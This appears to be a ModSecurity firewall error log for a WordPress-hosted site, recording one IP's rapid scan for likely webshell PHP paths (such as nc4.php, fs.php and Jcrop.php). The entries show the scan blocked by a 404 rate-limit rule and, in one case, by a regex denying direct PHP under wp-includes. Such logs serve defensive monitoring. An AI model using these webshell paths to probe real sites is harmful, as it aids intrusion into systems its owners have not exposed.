[Wed Mar 25 15:34:27.412716 2026] [:error] [pid 26449:tid 26467] [client 158.158.96.10:40542] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/saorix1.php"] [unique_id "acOQA9pZ2T15NDqzAjFUmQAAAk4"]
[Wed Mar 25 15:34:28.584179 2026] [:error] [pid 25875:tid 25896] [client 158.158.96.10:41202] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQBBJ38QkS3NyfshywKAAAAo8"]
[Wed Mar 25 15:34:29.171203 2026] [:error] [pid 25875:tid 25890] [client 158.158.96.10:41208] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQBRJ38QkS3NyfshywKgAAAok"]
[Wed Mar 25 15:34:29.934607 2026] [:error] [pid 25875:tid 25893] [client 158.158.96.10:59883] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQBRJ38QkS3NyfshywMAAAAow"]
[Wed Mar 25 15:34:30.597307 2026] [:error] [pid 892:tid 920] [client 158.158.96.10:41213] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/torsa1.php"] [unique_id "acOQBiT_G8WMU3T3yxqy9wAAANU"]
[Wed Mar 25 15:34:31.181355 2026] [:error] [pid 47989:tid 47995] [client 158.158.96.10:50716] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acOQByWKdJMhIccROjlWygAAAUQ"]
[Wed Mar 25 15:34:32.040159 2026] [:error] [pid 25875:tid 25888] [client 158.158.96.10:62496] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acOQCBJ38QkS3NyfshywNAAAAoc"]
[Wed Mar 25 15:34:32.754547 2026] [:error] [pid 47989:tid 48011] [client 158.158.96.10:54827] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acOQCCWKdJMhIccROjlW0wAAAVQ"]
[Wed Mar 25 15:34:33.583835 2026] [:error] [pid 26321:tid 26358] [client 158.158.96.10:50698] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/Jcrop.php"] [unique_id "acOQCfKO65qqGZCSPZoQJgAAAhE"]
[Wed Mar 25 15:34:34.311625 2026] [:error] [pid 47989:tid 48003] [client 158.158.96.10:40533] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acOQCiWKdJMhIccROjlW3AAAAUw"]
[Wed Mar 25 15:34:35.222963 2026] [:error] [pid 892:tid 914] [client 158.158.96.10:54797] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acOQCyT_G8WMU3T3yxqy-gAAANA"]
[Wed Mar 25 15:34:36.121201 2026] [:error] [pid 892:tid 902] [client 158.158.96.10:5846] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acOQDCT_G8WMU3T3yxqy_QAAAMU"]
[Wed Mar 25 15:34:37.185053 2026] [:error] [pid 25969:tid 26050] [client 158.158.96.10:5989] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/nc4.php"] [unique_id "acOQDRd3aEUmOfdKja_vWAAAA9g"]
[Wed Mar 25 15:34:38.103140 2026] [:error] [pid 25969:tid 26028] [client 158.158.96.10:60440] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acOQDhd3aEUmOfdKja_vWgAAA8I"]
[Wed Mar 25 15:34:39.038388 2026] [:error] [pid 26449:tid 26461] [client 158.158.96.10:41652] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acOQD9pZ2T15NDqzAjFUmwAAAkg"]
[Wed Mar 25 15:34:39.605748 2026] [:error] [pid 26449:tid 26457] [client 158.158.96.10:41632] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acOQD9pZ2T15NDqzAjFUnAAAAkQ"]
[Wed Mar 25 15:34:41.197542 2026] [:error] [pid 47989:tid 48006] [client 158.158.96.10:62482] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/v3.php"] [unique_id "acOQESWKdJMhIccROjlW4wAAAU8"]
[Wed Mar 25 15:34:50.117462 2026] [:error] [pid 47989:tid 48001] [client 158.158.96.10:41210] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "acOQGiWKdJMhIccROjlW9QAAAUo"]
[Wed Mar 25 15:34:53.464917 2026] [:error] [pid 26321:tid 26363] [client 158.158.96.10:63202] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "acOQHfKO65qqGZCSPZoQQQAAAhY"]
[Wed Mar 25 15:34:55.639461 2026] [:error] [pid 26321:tid 26362] [client 158.158.96.10:50749] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtiiy.php"] [unique_id "acOQH_KO65qqGZCSPZoQQwAAAhU"]
[Wed Mar 25 15:34:57.360845 2026] [:error] [pid 47989:tid 47991] [client 158.158.96.10:54817] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "acOQISWKdJMhIccROjlXBwAAAUA"]
[Wed Mar 25 15:34:58.327393 2026] [:error] [pid 25969:tid 26042] [client 158.158.96.10:59845] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "acOQIhd3aEUmOfdKja_vYwAAA9A"]
[Wed Mar 25 15:34:59.261051 2026] [:error] [pid 25875:tid 25904] [client 158.158.96.10:5826] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "acOQIxJ38QkS3NyfshywPwAAApc"]
[Wed Mar 25 15:35:00.960616 2026] [:error] [pid 25875:tid 25903] [client 158.158.96.10:64306] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xvs.php"] [unique_id "acOQJBJ38QkS3NyfshywRAAAApY"]
[Wed Mar 25 15:35:02.038780 2026] [:error] [pid 47989:tid 47993] [client 158.158.96.10:64285] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acOQJiWKdJMhIccROjlXFwAAAUI"]
[Wed Mar 25 15:35:02.636685 2026] [:error] [pid 25967:tid 25984] [client 158.158.96.10:57032] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acOQJvg8Qtq7ZM4mSFn1_gAAA0w"]
[Wed Mar 25 15:35:03.293097 2026] [:error] [pid 26449:tid 26467] [client 158.158.96.10:41165] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acOQJ9pZ2T15NDqzAjFUqQAAAk4"]
[Wed Mar 25 15:35:04.280726 2026] [:error] [pid 25967:tid 25981] [client 158.158.96.10:59875] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "acOQKPg8Qtq7ZM4mSFn2DQAAA0k"]
[Wed Mar 25 15:35:04.994618 2026] [:error] [pid 47989:tid 48012] [client 158.158.96.10:60458] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "acOQKCWKdJMhIccROjlXMAAAAVU"]
[Wed Mar 25 15:35:06.584461 2026] [:error] [pid 26321:tid 26360] [client 158.158.96.10:63213] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "acOQKvKO65qqGZCSPZoQRwAAAhM"]
[Wed Mar 25 15:35:08.756945 2026] [:error] [pid 47989:tid 47999] [client 158.158.96.10:5837] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "acOQLCWKdJMhIccROjlXTwAAAUg"]
[Wed Mar 25 15:35:09.745442 2026] [:error] [pid 25967:tid 25980] [client 158.158.96.10:38086] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fs.php"] [unique_id "acOQLfg8Qtq7ZM4mSFn2MAAAA0g"]
[Wed Mar 25 15:35:17.808091 2026] [:error] [pid 892:tid 914] [client 158.158.96.10:57053] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "acOQNST_G8WMU3T3yxqzGQAAANA"]
[Wed Mar 25 15:35:18.691874 2026] [:error] [pid 892:tid 918] [client 158.158.96.10:50722] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "acOQNiT_G8WMU3T3yxqzGgAAANM"]
[Wed Mar 25 15:35:19.246776 2026] [:error] [pid 25967:tid 25987] [client 158.158.96.10:41196] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "acOQN_g8Qtq7ZM4mSFn2OAAAA08"]
[Wed Mar 25 15:35:20.050231 2026] [:error] [pid 25875:tid 25899] [client 158.158.96.10:62507] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aifa.php"] [unique_id "acOQOBJ38QkS3NyfshywagAAApI"]
[Wed Mar 25 15:35:20.905961 2026] [:error] [pid 25969:tid 26048] [client 158.158.96.10:5965] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "acOQOBd3aEUmOfdKja_vZgAAA9Y"]
[Wed Mar 25 15:35:21.885929 2026] [:error] [pid 26449:tid 26471] [client 158.158.96.10:5952] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "acOQOdpZ2T15NDqzAjFUsAAAAlI"]
[Wed Mar 25 15:35:22.885202 2026] [:error] [pid 26449:tid 26453] [client 158.158.96.10:63227] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "acOQOtpZ2T15NDqzAjFUsgAAAkA"]
[Wed Mar 25 15:35:23.533835 2026] [:error] [pid 25875:tid 25899] [client 158.158.96.10:57083] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "acOQOxJ38QkS3NyfshywdAAAApI"]
[Wed Mar 25 15:35:24.068847 2026] [:error] [pid 25875:tid 25897] [client 158.158.96.10:5863] [client 158.158.96.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/app.php"] [unique_id "acOQPBJ38QkS3NyfshywdwAAApA"]
[Wed Mar 25 15:35:24.733794 2026] [:error] [pid 26269:tid 26296] [client 158.158.96.10:41183] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "acOQPEn7e-ZQbaIs7qyk0wAAAZQ"]
[Wed Mar 25 15:35:25.703311 2026] [:error] [pid 25875:tid 25892] [client 158.158.96.10:5962] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "acOQPRJ38QkS3NyfshywegAAAos"]
[Wed Mar 25 15:35:26.441628 2026] [:error] [pid 47989:tid 47995] [client 158.158.96.10:5880] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "acOQPiWKdJMhIccROjlXbwAAAUQ"]
[Wed Mar 25 15:35:27.218579 2026] [:error] [pid 47946:tid 47959] [client 158.158.96.10:5975] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aee.php"] [unique_id "acOQPzipQTqBMSeKYhdzMgAAAQs"]
[Wed Mar 25 15:35:27.751223 2026] [:error] [pid 756:tid 851] [client 158.158.96.10:57044] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "acOQPzOaW6oylMIDBCQPXAAAAIE"]
[Wed Mar 25 15:35:28.284411 2026] [:error] [pid 47989:tid 48005] [client 158.158.96.10:40571] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "acOQQCWKdJMhIccROjlXcgAAAU4"]
[Wed Mar 25 15:35:28.833075 2026] [:error] [pid 47989:tid 48001] [client 158.158.96.10:40559] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "acOQQCWKdJMhIccROjlXdAAAAUo"]
[Wed Mar 25 15:35:29.686040 2026] [:error] [pid 756:tid 864] [client 158.158.96.10:50710] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/zogy1.php"] [unique_id "acOQQTOaW6oylMIDBCQPXQAAAIw"]
[Wed Mar 25 15:35:30.232369 2026] [:error] [pid 47989:tid 47994] [client 158.158.96.10:5845] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acOQQiWKdJMhIccROjlXeAAAAUM"]
[Wed Mar 25 15:35:30.747368 2026] [:error] [pid 47989:tid 48011] [client 158.158.96.10:63226] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acOQQiWKdJMhIccROjlXewAAAVQ"]
[Wed Mar 25 15:35:31.290476 2026] [:error] [pid 25969:tid 26042] [client 158.158.96.10:59890] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acOQQxd3aEUmOfdKja_vcAAAA9A"]
[Wed Mar 25 15:35:31.845122 2026] [:error] [pid 25967:tid 25986] [client 158.158.96.10:5977] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/b.php"] [unique_id "acOQQ_g8Qtq7ZM4mSFn2RAAAA04"]
[Wed Mar 25 15:35:32.363802 2026] [:error] [pid 25967:tid 25984] [client 158.158.96.10:60472] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acOQRPg8Qtq7ZM4mSFn2RQAAA0w"]
[Wed Mar 25 15:35:33.286770 2026] [:error] [pid 25875:tid 25897] [client 158.158.96.10:64305] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acOQRRJ38QkS3NyfshywgwAAApA"]
[Wed Mar 25 15:35:33.867360 2026] [:error] [pid 25875:tid 25903] [client 158.158.96.10:40516] [client 158.158.96.10] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/a5.php"] [unique_id "acOQRRJ38QkS3NyfshywhQAAApY"]
